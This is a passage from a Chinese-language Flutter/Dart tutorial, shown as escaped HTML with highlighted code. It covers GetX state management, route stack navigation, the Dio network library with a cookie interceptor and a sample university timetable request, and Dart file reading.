class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 这里看不懂,建议看上面的组件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;You have pushed the button this many times:\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheadlineMedium\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003efloatingActionButton:\u003c/span\u003e \u003cspan class=\"n\"\u003eFloatingActionButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 注意这里,这个按钮按下的时候,会执行这个函数\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etooltip:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Increment\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e \n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStatefulWidget 适合于一个小部件内部短时状态的维护。如果我们要搞牵扯到许多部件,乃至于各个页面的共同状态,就很难办了。这里我要给大家介绍一个我日常在使用的状态管理器:GetX。\u003c/p\u003e\n\u003ch3 id=\"getx\"\u003eGetX\u003c/h3\u003e\n\u003cp\u003eGetX 是三个库的集合:状态管理,路由管理,和依赖管理。这里只关注状态管理。\u003c/p\u003e\n\u003ch4 id=\"getx-观察者模式状态管理\"\u003eGetX 观察者模式状态管理\u003c/h4\u003e\n\u003cp\u003e第一个状态管理使用的是obs-\u0026gt;观察者模式,我们记住这么几点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在变量初始化的时候,初始化值的后面添加\u003ccode\u003e.obs\u003c/code\u003e来使其可观察化\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用\u003ccode\u003eObx\u003c/code\u003e部件来渲染需要用到可观察化变量的部件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用平常的方法修改可观察化变量的值\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e比如这个计数器应用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:get/get.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 在 GetX 中,给变量添加 .obs 就可以使其被观察\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这时,他的类型不再是值的类型了\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0.\u003c/span\u003e\u003cspan class=\"n\"\u003eobs\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMainApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 注意这里 Obx 部件,他能获取对应的可观察部件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// GetX 保证这个寻找是相当快的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eObx\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Clicks: \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 这里没用 setState,仅仅对该可观察变量里面的值修改即可\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s2\"\u003e\u0026#34;Add it!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003efontSize:\u003c/span\u003e \u003cspan class=\"m\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"getx-控制器类状态管理\"\u003eGetX 控制器类状态管理\u003c/h4\u003e\n\u003cp\u003e再给大家介绍一下\u003ccode\u003eGetxController\u003c/code\u003e,我 PDA 用的后者更多。\u003c/p\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\u003c/p\u003e\n\u003cp\u003e每个 GetX Controller 都是继承 GetController 虚拟类的一个类。这个类里面,除了你要使用到的值和方法,还有两个方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eonInit():在这个控制器初始化的时候使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eonReady():在这个控制器刚初始化(时间大约一帧后)运行,处理异步请求。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在使用控制器的时候,我们可以直接用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eGetBuilder\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eController\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ebuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e建议阅读 Traintime PDA 代码中的\u003ccode\u003econtroller/sport_controller.dart\u003c/code\u003e,\u003ccode\u003erepository/xidian_sport/xidian_sport_session.dart\u003c/code\u003e,以及 page 下面关于体育部件的代码。以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eController(GetX Controller) – Model(Dio网络库) – View(Flutter)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"杂项\"\u003e杂项\u003c/h2\u003e\n\u003ch3 id=\"路由栈\"\u003e路由栈\u003c/h3\u003e\n\u003cp\u003e栈是先进后出的结构,而路由栈里面,存的是每个页面的信息了。在 Flutter 中,我们这么处理路由栈:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说压入路由栈,进入这个页面。\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 这个是说弹出路由栈的顶,也就是返回上一个页面\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 可以做到按需弹栈,然后压栈\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epushNamedAndRemoveUntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 弹栈之后要压入的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRoute\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这个是判断栈顶元素是否符合要求的函数\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里面的 context 是指,这个应用,或者这个部件的状态。\u003c/p\u003e\n\u003ch3 id=\"dio-网络插件\"\u003eDio 网络插件\u003c/h3\u003e\n\u003cp\u003eFlutter 提供了很多的插件,来方便我们的开发体验。其中最著名的就是 Dio 网络库。他是一个异步网络访问库,使用方式和 axios 比较像。\u003c/p\u003e\n\u003cp\u003e先说明一下拦截器,它可以在获取回复/发送请求时,先拦截之,然后对该包进行修改。\u003c/p\u003e\n\u003cp\u003eDio 类的定义,其中我用到了拦截器和对基地址的设置,设置了这个,后面的访问就可以输入那个网站的子路由了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e/// Maybe I wrote how to store the data is better.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003e_dio\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBaseOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ebaseUrl:\u003c/span\u003e \u003cspan class=\"n\"\u003e_baseURL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003econtentType:\u003c/span\u003e \u003cspan class=\"n\"\u003eHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eformUrlEncodedContentType\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 这个拦截器是 Cookie 管理器\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einterceptors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieManager\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDio 的使用示例,它可以支持 POST,GET 等常见的 HTTP 请求方式。可以设定传输参数,请求头等很多东西。它的返回和 axios 大致相同,有响应数据,响应代码等。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;XN\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"s1\"\u003e\u0026#39;XQ\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;datas\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cxjcs\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;rows\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;XQKSRQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"存储\"\u003e存储\u003c/h3\u003e\n\u003ch4 id=\"dart-操作文件的函数\"\u003eDart 操作文件的函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 这样定义一个文件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;file.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 按照字符读取文件的方法,异步和同步\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan 